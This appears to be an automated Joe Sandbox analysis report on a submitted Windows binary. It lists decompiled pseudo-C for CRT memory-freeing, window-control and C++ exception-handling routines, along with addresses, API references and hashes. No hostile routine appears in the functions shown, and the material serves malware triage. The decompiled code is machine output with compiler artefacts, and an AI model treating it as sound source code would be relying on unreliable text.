Part of subcall function 0087D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?), ref: 0087D76E
Part of subcall function 0087D758: GetLastError.KERNEL32(?,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?,?), ref: 0087D780

_free.LIBCMT ref: 008814FD
_free.LIBCMT ref: 00881512
_free.LIBCMT ref: 0088151D
_free.LIBCMT ref: 0088153F
_free.LIBCMT ref: 00881552
_free.LIBCMT ref: 00881560
_free.LIBCMT ref: 0088156B
_free.LIBCMT ref: 008815A3
_free.LIBCMT ref: 008815AA
_free.LIBCMT ref: 008815C7
_free.LIBCMT ref: 008815DF

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 64a2486dc97a1ba3f253d529588900abf892c24ca04ac485774aa15fe0eadf0a
Instruction ID: 9f65bf92b25cdfe5009ce7db38b4dadb91dec3e23bb7cb0a680481fab0e15da5
Opcode Fuzzy Hash: 64a2486dc97a1ba3f253d529588900abf892c24ca04ac485774aa15fe0eadf0a
Instruction Fuzzy Hash: D53138726007449FEF24AA68D889B5AB3EDFF40350F148429E45AD6155DF31E985CB12

Uniqueness

Uniqueness Score: -1.00%

Function 008726DE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008726DE(void* __ecx, void* __edx, void* __eflags, void* __fp0, short _a24, struct HWND__* _a4124) {
				void _v0;
				intOrPtr _v4;
				intOrPtr _v12;
				struct HWND__* _t9;
				void* _t19;
				void* _t26;
				void* _t28;
				void* _t30;
				struct HWND__* _t33;
				struct HWND__* _t36;
				void* _t40;
				void* _t49;

				_t49 = __fp0;
				_t40 = __eflags;
				_t28 = __edx;
				E00873AC0(0x1018);
				_t9 = E0086F7E6(_t40);
				if(_t9 == 0) {
					L12:
					return _t9;
				}
				_t9 = GetWindow(_a4124, 5);
				_t33 = _t9;
				_t30 = 0;
				_t36 = _t33;
				if(_t33 == 0) {
					L11:
					goto L12;
				}
				while(_t30 < 0x200) {
					GetClassNameW(_t33,  &_a24, 0x800);
					if(E00867D24( &_a24, L"STATIC") == 0 && (GetWindowLongW(_t33, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t26 = SendMessageW(_t33, 0x173, 0, 0);
						if(_t26 != 0) {
							GetObjectW(_t26, 0x18,  &_v0);
							_t19 = E0086F825(_v4);
							SendMessageW(_t33, 0x172, 0, E0086FA2C(_t28, _t49, _t26, E0086F804(_v12), _t19));
							DeleteObject(_t26);
						}
					}
					_t9 = GetWindow(_t33, 2);
					_t33 = _t9;
					if(_t33 != _t36) {
						_t30 = _t30 + 1;
						if(_t33 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x008726de
0x008726de
0x008726de
0x008726e3
0x008726e8
0x008726ef
0x008727c6
0x008727cc
0x008727cc
0x00872701
0x00872707
0x00872709
0x0087270b
0x0087270f
0x008727c3
0x00000000
0x008727c5
0x00872716
0x0087272d
0x00872744
0x00872766
0x0087276a
0x00872774
0x0087277e
0x0087279d
0x008727a4
0x008727a4
0x0087276a
0x008727ad
0x008727b3
0x008727b7
0x008727b9
0x008727bc
0x00000000
0x00000000
0x008727bc
0x00000000
0x008727b7
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 00872701
GetClassNameW.USER32(00000000,?,00000800), ref: 0087272D

Part of subcall function 00867D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00862FEC,?,?,?,00862F99,?,-00000002,?,00000000,?), ref: 00867D3A

GetWindowLongW.USER32(00000000,000000F0), ref: 00872749
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00872760
GetObjectW.GDI32(00000000,00000018,?), ref: 00872774
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0087279D
DeleteObject.GDI32(00000000), ref: 008727A4
GetWindow.USER32(00000000,00000002), ref: 008727AD

Strings

STATIC, xrefs: 00872733

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: b6b0b7d91177b06219b774f4ad5488be260b5f88b0ba89ac408f912115d502d7
Instruction ID: 5d0546f1ba9137cfb67f20dd3f8ff4a81de2fd7655afd7f47df750aab0d3ab75
Opcode Fuzzy Hash: b6b0b7d91177b06219b774f4ad5488be260b5f88b0ba89ac408f912115d502d7
Instruction Fuzzy Hash: 0B112432240B107BE3206B78AC8EFAF367CFF54750F048065FA89E1096DA74CD0586B2

Uniqueness

Uniqueness Score: -1.00%

Function 0087E011 Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087E011(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x88b0f0) {
					E0087D758(_t52);
					_t26 = _a4;
				}
				E0087D758( *((intOrPtr*)(_t26 + 0x3c)));
				E0087D758( *((intOrPtr*)(_a4 + 0x30)));
				E0087D758( *((intOrPtr*)(_a4 + 0x34)));
				E0087D758( *((intOrPtr*)(_a4 + 0x38)));
				E0087D758( *((intOrPtr*)(_a4 + 0x28)));
				E0087D758( *((intOrPtr*)(_a4 + 0x2c)));
				E0087D758( *((intOrPtr*)(_a4 + 0x40)));
				E0087D758( *((intOrPtr*)(_a4 + 0x44)));
				E0087D758( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E0087DECC(5,  &_v8);
				_v8 =  &_a4;
				return E0087DF1C(4,  &_v8);
			}

0x0087e017
0x0087e01a
0x0087e022
0x0087e025
0x0087e02a
0x0087e02d
0x0087e031
0x0087e03c
0x0087e047
0x0087e052
0x0087e05d
0x0087e068
0x0087e073
0x0087e07e
0x0087e08c
0x0087e094
0x0087e09d
0x0087e0a5
0x0087e0b9

APIs

_free.LIBCMT ref: 0087E025

Part of subcall function 0087D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?), ref: 0087D76E
Part of subcall function 0087D758: GetLastError.KERNEL32(?,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?,?), ref: 0087D780

_free.LIBCMT ref: 0087E031
_free.LIBCMT ref: 0087E03C
_free.LIBCMT ref: 0087E047
_free.LIBCMT ref: 0087E052
_free.LIBCMT ref: 0087E05D
_free.LIBCMT ref: 0087E068
_free.LIBCMT ref: 0087E073
_free.LIBCMT ref: 0087E07E
_free.LIBCMT ref: 0087E08C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fe8189d1f3172d53d11aa67739155af454a86621cfebd933e386094e5788c470
Instruction ID: 00216687fa77cb8cca94f9d7b9efc266b1fea494af4d7841553703bfa6085ae0
Opcode Fuzzy Hash: fe8189d1f3172d53d11aa67739155af454a86621cfebd933e386094e5788c470
Instruction Fuzzy Hash: FF11777A51024CAFCB05EF58C942DDD3BB9FF05390B5180A5BA1D9F226DB31EA50DB82

Uniqueness

Uniqueness Score: -1.00%

Function 008777B1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E008777B1(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t201;
				signed int _t202;
				char _t203;
				signed int _t205;
				signed int _t207;
				signed char* _t208;
				signed int _t209;
				signed int _t210;
				signed int _t214;
				void* _t217;
				signed char* _t220;
				void* _t222;
				void* _t224;
				signed char _t228;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t237;
				signed int _t247;
				void* _t250;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr _t253;
				signed int _t254;
				void* _t259;
				void* _t261;
				void* _t264;
				void* _t265;
				signed int _t269;
				signed char* _t270;
				intOrPtr* _t271;
				signed char _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr* _t276;
				signed int _t277;
				signed int _t278;
				signed int _t283;
				signed int _t290;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed char* _t297;
				signed int _t298;
				signed char _t299;
				signed int* _t301;
				signed char* _t304;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t327;
				void* _t329;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;

				_t296 = __edx;
				_push(_t315);
				_t301 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t275 = E0087872F(_a8, _a16, _t301);
				_t332 = _t331 + 0xc;
				_v12 = _t275;
				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
					L67:
					_t201 = E0087D6B0(_t270, _t296, _t301, _t315);
					asm("int3");
					_t329 = _t332;
					_t333 = _t332 - 0x38;
					_push(_t270);
					_t271 = _v112;
					__eflags =  *_t271 - 0x80000003;
					if(__eflags == 0) {
						return _t201;
					} else {
						_push(_t315);
						_push(_t301);
						_t202 = E0087746C(_t271, _t275, _t296, _t301, _t315, __eflags);
						__eflags =  *(_t202 + 8);
						if(__eflags != 0) {
							__imp__EncodePointer(0);
							_t315 = _t202;
							_t222 = E0087746C(_t271, _t275, _t296, 0, _t315, __eflags);
							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
								__eflags =  *_t271 - 0xe0434f4d;
								if( *_t271 != 0xe0434f4d) {
									__eflags =  *_t271 - 0xe0434352;
									if( *_t271 != 0xe0434352) {
										_t214 = E00874DF7(_t296, 0, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
										_t333 = _t333 + 0x1c;
										__eflags = _t214;
										if(_t214 != 0) {
											L84:
											return _t214;
										}
									}
								}
							}
						}
						_t203 = _a16;
						_v28 = _t203;
						_v24 = 0;
						__eflags =  *(_t203 + 0xc);
						if( *(_t203 + 0xc) > 0) {
							_push(_a24);
							E00874D2A(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
							_t298 = _v40;
							_t334 = _t333 + 0x18;
							_t214 = _v44;
							_v20 = _t214;
							_v12 = _t298;
							__eflags = _t298 - _v32;
							if(_t298 >= _v32) {
								goto L84;
							}
							_t277 = _t298 * 0x14;
							__eflags = _t277;
							_v16 = _t277;
							do {
								_t278 = 5;
								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
								_t334 = _t334 + 0xc;
								__eflags = _v64 - _t217;
								if(_v64 > _t217) {
									goto L83;
								}
								__eflags = _t217 - _v60;
								if(_t217 > _v60) {
									goto L83;
								}
								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t283 = _t220[4];
								__eflags = _t283;
								if(_t283 == 0) {
									L81:
									__eflags =  *_t220 & 0x00000040;
									if(( *_t220 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00877731(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
										_t298 = _v12;
										_t334 = _t334 + 0x30;
									}
									goto L83;
								}
								__eflags =  *((char*)(_t283 + 8));
								if( *((char*)(_t283 + 8)) != 0) {
									goto L83;
								}
								goto L81;
								L83:
								_t298 = _t298 + 1;
								_t214 = _v20;
								_t277 = _v16 + 0x14;
								_v12 = _t298;
								_v16 = _t277;
								__eflags = _t298 - _v32;
							} while (_t298 < _v32);
							goto L84;
						}
						E0087D6B0(_t271, _t296, 0, _t315);
						asm("int3");
						_push(_t329);
						_t297 = _v184;
						_push(_t271);
						_push(_t315);
						_push(0);
						_t205 = _t297[4];
						__eflags = _t205;
						if(_t205 == 0) {
							L109:
							_t207 = 1;
							__eflags = 1;
						} else {
							_t276 = _t205 + 8;
							__eflags =  *_t276;
							if( *_t276 == 0) {
								goto L109;
							} else {
								__eflags =  *_t297 & 0x00000080;
								_t304 = _v0;
								if(( *_t297 & 0x00000080) == 0) {
									L91:
									_t272 = _t304[4];
									_t317 = 0;
									__eflags = _t205 - _t272;
									if(_t205 == _t272) {
										L101:
										__eflags =  *_t304 & 0x00000002;
										if(( *_t304 & 0x00000002) == 0) {
											L103:
											_t208 = _a4;
											__eflags =  *_t208 & 0x00000001;
											if(( *_t208 & 0x00000001) == 0) {
												L105:
												__eflags =  *_t208 & 0x00000002;
												if(( *_t208 & 0x00000002) == 0) {
													L107:
													_t317 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t297 & 0x00000002;
													if(( *_t297 & 0x00000002) != 0) {
														goto L107;
													}
												}
											} else {
												__eflags =  *_t297 & 0x00000001;
												if(( *_t297 & 0x00000001) != 0) {
													goto L105;
												}
											}
										} else {
											__eflags =  *_t297 & 0x00000008;
											if(( *_t297 & 0x00000008) != 0) {
												goto L103;
											}
										}
										_t207 = _t317;
									} else {
										_t184 = _t272 + 8; // 0x6e
										_t209 = _t184;
										while(1) {
											_t273 =  *_t276;
											__eflags = _t273 -  *_t209;
											if(_t273 !=  *_t209) {
												break;
											}
											__eflags = _t273;
											if(_t273 == 0) {
												L97:
												_t210 = _t317;
											} else {
												_t274 =  *((intOrPtr*)(_t276 + 1));
												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
													break;
												} else {
													_t276 = _t276 + 2;
													_t209 = _t209 + 2;
													__eflags = _t274;
													if(_t274 != 0) {
														continue;
													} else {
														goto L97;
													}
												}
											}
											L99:
											__eflags = _t210;
											if(_t210 == 0) {
												goto L101;
											} else {
												_t207 = 0;
											}
											goto L110;
										}
										asm("sbb eax, eax");
										_t210 = _t209 | 0x00000001;
										__eflags = _t210;
										goto L99;
									}
								} else {
									__eflags =  *_t304 & 0x00000010;
									if(( *_t304 & 0x00000010) != 0) {
										goto L109;
									} else {
										goto L91;
									}
								}
							}
						}
						L110:
						return _t207;
					}
				} else {
					_t270 = _a4;
					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
						L22:
						_t296 = _a12;
						_v8 = _t296;
						goto L24;
					} else {
						_t315 = 0;
						_t342 = _t270[0x1c];
						if(_t270[0x1c] != 0) {
							goto L22;
						} else {
							_t224 = E0087746C(_t270, _t275, _t296, _t301, 0, _t342);
							_t343 =  *((intOrPtr*)(_t224 + 0x10));
							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
								L61:
								return _t224;
							} else {
								_t270 =  *(E0087746C(_t270, _t275, _t296, _t301, 0, _t343) + 0x10);
								_t259 = E0087746C(_t270, _t275, _t296, _t301, 0, _t343);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t259 + 0x14));
								if(_t270 == 0) {
									goto L67;
								} else {
									if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
										L16:
										_t261 = E0087746C(_t270, _t275, _t296, _t301, _t315, _t350);
										_t351 =  *((intOrPtr*)(_t261 + 0x1c)) - _t315;
										if( *((intOrPtr*)(_t261 + 0x1c)) == _t315) {
											L23:
											_t296 = _v8;
											_t275 = _v12;
											L24:
											_v52 = _t301;
											_v48 = 0;
											__eflags =  *_t270 - 0xe06d7363;
											if( *_t270 != 0xe06d7363) {
												L57:
												__eflags = _t301[3];
												if(__eflags <= 0) {
													goto L60;
												} else {
													__eflags = _a24;
													if(__eflags != 0) {
														goto L67;
													} else {
														_push(_a32);
														_push(_a28);
														_push(_t275);
														_push(_t301);
														_push(_a16);
														_push(_t296);
														_push(_a8);
														_push(_t270);
														L68();
														_t332 = _t332 + 0x20;
														goto L60;
													}
												}
											} else {
												__eflags = _t270[0x10] - 3;
												if(_t270[0x10] != 3) {
													goto L57;
												} else {
													__eflags = _t270[0x14] - 0x19930520;
													if(_t270[0x14] == 0x19930520) {
														L29:
														_t315 = _a32;
														__eflags = _t301[3];
														if(_t301[3] > 0) {
															_push(_a28);
															E00874D2A(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
															_t296 = _v64;
															_t332 = _t332 + 0x18;
															_t247 = _v68;
															_v44 = _t247;
															_v16 = _t296;
															__eflags = _t296 - _v56;
															if(_t296 < _v56) {
																_t290 = _t296 * 0x14;
																__eflags = _t290;
																_v32 = _t290;
																do {
																	_t291 = 5;
																	_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
																	_t332 = _t332 + 0xc;
																	__eflags = _v104 - _t250;
																	if(_v104 <= _t250) {
																		__eflags = _t250 - _v100;
																		if(_t250 <= _v100) {
																			_t294 = 0;
																			_v20 = 0;
																			__eflags = _v92;
																			if(_v92 != 0) {
																				_t299 = _t270[0x1c];
																				_t251 =  *((intOrPtr*)(_t299 + 0xc));
																				_t252 = _t251 + 4;
																				__eflags = _t252;
																				_v36 = _t252;
																				_t253 = _v88;
																				_v40 =  *_t251;
																				_v24 = _t253;
																				do {
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					_t327 = _v40;
																					_t314 = _v36;
																					__eflags = _t327;
																					if(_t327 <= 0) {
																						goto L40;
																					} else {
																						while(1) {
																							_push(_t299);
																							_push( *_t314);
																							_t254 =  &_v84;
																							_push(_t254);
																							L87();
																							_t332 = _t332 + 0xc;
																							__eflags = _t254;
																							if(_t254 != 0) {
																								break;
																							}
																							_t299 = _t270[0x1c];
																							_t327 = _t327 - 1;
																							_t314 = _t314 + 4;
																							__eflags = _t327;
																							if(_t327 > 0) {
																								continue;
																							} else {
																								_t294 = _v20;
																								_t253 = _v24;
																								goto L40;
																							}
																							goto L43;
																						}
																						_push(_a24);
																						_push(_v28);
																						E00877731(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
																						_t332 = _t332 + 0x30;
																					}
																					L43:
																					_t296 = _v16;
																					goto L44;
																					L40:
																					_t294 = _t294 + 1;
																					_t253 = _t253 + 0x10;
																					_v20 = _t294;
																					_v24 = _t253;
																					__eflags = _t294 - _v92;
																				} while (_t294 != _v92);
																				goto L43;
																			}
																		}
																	}
																	L44:
																	_t296 = _t296 + 1;
																	_t247 = _v44;
																	_t290 = _v32 + 0x14;
																	_v16 = _t296;
																	_v32 = _t290;
																	__eflags = _t296 - _v56;
																} while (_t296 < _v56);
																_t301 = _a20;
																_t315 = _a32;
															}
														}
														__eflags = _a24;
														if(__eflags != 0) {
															_push(1);
															E00875970(_t270, _t301, _t315, __eflags);
															_t275 = _t270;
														}
														__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
														if(__eflags < 0) {
															L60:
															_t224 = E0087746C(_t270, _t275, _t296, _t301, _t315, __eflags);
															__eflags =  *(_t224 + 0x1c);
															if( *(_t224 + 0x1c) != 0) {
																goto L67;
															} else {
																goto L61;
															}
														} else {
															_t228 = _t301[8] >> 2;
															__eflags = _t301[7];
															if(_t301[7] != 0) {
																__eflags = _t228 & 0x00000001;
																if(__eflags == 0) {
																	_push(_t301[7]);
																	_t229 = E008781CA(_t270, _t301, _t315, _t270);
																	_pop(_t275);
																	__eflags = _t229;
																	if(__eflags == 0) {
																		goto L64;
																	} else {
																		goto L60;
																	}
																} else {
																	goto L54;
																}
															} else {
																__eflags = _t228 & 0x00000001;
																if(__eflags == 0) {
																	goto L60;
																} else {
																	__eflags = _a28;
																	if(__eflags != 0) {
																		goto L60;
																	} else {
																		L54:
																		 *(E0087746C(_t270, _t275, _t296, _t301, _t315, __eflags) + 0x10) = _t270;
																		_t237 = E0087746C(_t270, _t275, _t296, _t301, _t315, __eflags);
																		_t286 = _v8;
																		 *((intOrPtr*)(_t237 + 0x14)) = _v8;
																		goto L62;
																	}
																}
															}
														}
													} else {
														__eflags = _t270[0x14] - 0x19930521;
														if(_t270[0x14] == 0x19930521) {
															goto L29;
														} else {
															__eflags = _t270[0x14] - 0x19930522;
															if(_t270[0x14] != 0x19930522) {
																goto L57;
															} else {
																goto L29;
															}
														}
													}
												}
											}
										} else {
											_v16 =  *((intOrPtr*)(E0087746C(_t270, _t275, _t296, _t301, _t315, _t351) + 0x1c));
											_t264 = E0087746C(_t270, _t275, _t296, _t301, _t315, _t351);
											_push(_v16);
											 *(_t264 + 0x1c) = _t315;
											_t265 = E008781CA(_t270, _t301, _t315, _t270);
											_pop(_t286);
											if(_t265 != 0) {
												goto L23;
											} else {
												_t301 = _v16;
												_t353 =  *_t301 - _t315;
												if( *_t301 <= _t315) {
													L62:
													E0087D5BF(_t270, _t286, _t296, _t301, _t315, __eflags);
												} else {
													while(1) {
														_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
														if(E00877E53( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x893e84) != 0) {
															goto L63;
														}
														_t315 = _t315 + 0x10;
														_t269 = _v20 + 1;
														_v20 = _t269;
														_t353 = _t269 -  *_t301;
														if(_t269 >=  *_t301) {
															goto L62;
														} else {
															continue;
														}
														goto L63;
													}
												}
												L63:
												_push(1);
												_push(_t270);
												E00875970(_t270, _t301, _t315, __eflags);
												_t275 =  &_v64;
												E00877E3B( &_v64);
												E008751A7( &_v64, 0x8909ac);
												L64:
												 *(E0087746C(_t270, _t275, _t296, _t301, _t315, __eflags) + 0x10) = _t270;
												_t231 = E0087746C(_t270, _t275, _t296, _t301, _t315, __eflags);
												_t275 = _v8;
												 *(_t231 + 0x14) = _v8;
												__eflags = _t315;
												if(_t315 == 0) {
													_t315 = _a8;
												}
												E00874F1D(_t275, _t315, _t270);
												E008780CA(_a8, _a16, _t301);
												_t234 = E00878287(_t301);
												_t332 = _t332 + 0x10;
												_push(_t234);
												E00878041(_t270, _t275, _t296, _t301, _t315, __eflags);
												goto L67;
											}
										}
									} else {
										_t350 = _t270[0x1c] - _t315;
										if(_t270[0x1c] == _t315) {
											goto L67;
										} else {
											goto L16;
										}
									}
								}
							}
						}
					}
				}
			}

0x008777b1
0x008777b8
0x008777ba
0x008777c3
0x008777c9
0x008777d1
0x008777d3
0x008777d6
0x008777dc
0x00877b50
0x00877b50
0x00877b55
0x00877b57
0x00877b59
0x00877b5c
0x00877b5d
0x00877b60
0x00877b66
0x00877c85
0x00877b6c
0x00877b6c
0x00877b6d
0x00877b6e
0x00877b75
0x00877b78
0x00877b7b
0x00877b81
0x00877b83
0x00877b88
0x00877b8b
0x00877b8d
0x00877b93
0x00877b95
0x00877b9b
0x00877bb0
0x00877bb5
0x00877bb8
0x00877bba
0x00877c81
0x00000000
0x00877c82
0x00877bba
0x00877b9b
0x00877b93
0x00877b8b
0x00877bc0
0x00877bc3
0x00877bc6
0x00877bc9
0x00877bcc
0x00877bd2
0x00877be4
0x00877be9
0x00877bec
0x00877bef
0x00877bf2
0x00877bf5
0x00877bf8
0x00877bfb
0x00000000
0x00000000
0x00877c01
0x00877c01
0x00877c04
0x00877c07
0x00877c16
0x00877c17
0x00877c17
0x00877c19
0x00877c1c
0x00000000
0x00000000
0x00877c1e
0x00877c21
0x00000000
0x00000000
0x00877c2f
0x00877c31
0x00877c34
0x00877c36
0x00877c3e
0x00877c3e
0x00877c41
0x00877c43
0x00877c45
0x00877c61
0x00877c66
0x00877c69
0x00877c69
0x00000000
0x00877c41
0x00877c38
0x00877c3c
0x00000000
0x00000000
0x00000000
0x00877c6c
0x00877c6f
0x00877c70
0x00877c73
0x00877c76
0x00877c79
0x00877c7c
0x00877c7c
0x00000000
0x00877c07
0x00877c86
0x00877c8b
0x00877c8c
0x00877c8f
0x00877c92
0x00877c93
0x00877c94
0x00877c95
0x00877c98
0x00877c9a
0x00877d12
0x00877d14
0x00877d14
0x00877c9c
0x00877c9c
0x00877c9f
0x00877ca2
0x00000000
0x00877ca4
0x00877ca4
0x00877ca7
0x00877caa
0x00877cb1
0x00877cb1
0x00877cb4
0x00877cb6
0x00877cb8
0x00877cea
0x00877cea
0x00877ced
0x00877cf4
0x00877cf4
0x00877cf7
0x00877cfa
0x00877d01
0x00877d01
0x00877d04
0x00877d0b
0x00877d0d
0x00877d0d
0x00877d06
0x00877d06
0x00877d09
0x00000000
0x00000000
0x00877d09
0x00877cfc
0x00877cfc
0x00877cff
0x00000000
0x00000000
0x00877cff
0x00877cef
0x00877cef
0x00877cf2
0x00000000
0x00000000
0x00877cf2
0x00877d0e
0x00877cba
0x00877cba
0x00877cba
0x00877cbd
0x00877cbd
0x00877cbf
0x00877cc1
0x00000000
0x00000000
0x00877cc3
0x00877cc5
0x00877cd9
0x00877cd9
0x00877cc7
0x00877cc7
0x00877cca
0x00877ccd
0x00000000
0x00877ccf
0x00877ccf
0x00877cd2
0x00877cd5
0x00877cd7
0x00000000
0x00000000
0x00000000
0x00000000
0x00877cd7
0x00877ccd
0x00877ce2
0x00877ce2
0x00877ce4
0x00000000
0x00877ce6
0x00877ce6
0x00877ce6
0x00000000
0x00877ce4
0x00877cdd
0x00877cdf
0x00877cdf
0x00000000
0x00877cdf
0x00877cac
0x00877cac
0x00877caf
0x00000000
0x00000000
0x00000000
0x00000000
0x00877caf
0x00877caa
0x00877ca2
0x00877d15
0x00877d19
0x00877d19
0x008777eb
0x008777eb
0x008777f4
0x008778f1
0x008778f1
0x008778f4
0x00000000
0x00877823
0x00877823
0x00877825
0x00877828
0x00000000
0x0087782e
0x0087782e
0x00877833
0x00877836
0x00877aea
0x00877aee
0x0087783c
0x00877841
0x00877844
0x00877849
0x00877850
0x00877855
0x00000000
0x0087785b
0x00877861
0x0087788d
0x0087788d
0x00877892
0x00877895
0x008778f9
0x008778f9
0x008778fc
0x008778ff
0x00877901
0x00877904
0x00877907
0x0087790d
0x00877ab9
0x00877ab9
0x00877abc
0x00000000
0x00877abe
0x00877abe
0x00877ac1
0x00000000
0x00877ac7
0x00877ac7
0x00877aca
0x00877acd
0x00877ace
0x00877acf
0x00877ad2
0x00877ad3
